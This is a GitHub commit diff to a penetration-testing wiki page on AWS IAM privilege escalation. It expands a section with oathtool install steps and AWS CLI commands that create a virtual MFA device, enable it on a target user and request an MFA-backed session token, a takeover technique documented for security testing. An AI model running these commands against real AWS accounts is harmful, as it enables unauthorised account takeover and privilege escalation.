Skip to content

Commit 2439b03

Browse files
authored
Merge pull request #294 from Jacob-Ham/aws-fix-iam-mfa
Fixed some IAM MFA device priv esc issues.
2 parents 06a0892 + 3963a1e commit 2439b03

1 file changed

Lines changed: 26 additions & 3 deletions

File tree

  • src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

Lines changed: 26 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -57,17 +57,40 @@ aws iam delete-access-key --access-key-id <key_id>
5757

5858
If you can create a new virtual MFA device and enable it on another user, you can effectively enroll your own MFA for that user and then request an MFA-backed session for their credentials.
5959

60+
**Prerequisites:**
61+
62+
You can use any tool you want for the TOTP codes - oathtool is easy and lightweight.
63+
64+
```bash
65+
sudo apt install oathtool
66+
sudo dnf install oathtool
67+
sudo yum install oathtool
68+
```
69+
6070
**Exploit:**
6171

6272
```bash
6373
# Create a virtual MFA device (this returns the serial and the base32 seed)
64-
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
74+
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
75+
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
76+
77+
# Generate 2 consecutive TOTP codes from the seed
6578

66-
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
67-
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
79+
oathtool --base32 --totp "<Seed_Here>" -w 1
80+
81+
# Enable the new device for the user
82+
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
6883
--authentication-code1 <code1> --authentication-code2 <code2>
6984
```
7085

86+
**Authenticate:**
87+
88+
Once you have a basic session as the target user, you can use the security token service to get an MFA-backed token.
89+
90+
```bash
91+
aws sts get-session-token --serial-number <device-arn> --token-code <code>
92+
```
93+
7194
**Impact:** Direct privilege escalation by taking over a user's MFA enrollment (and then using their permissions).
7295

7396
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

0 commit comments

Comments
 (0)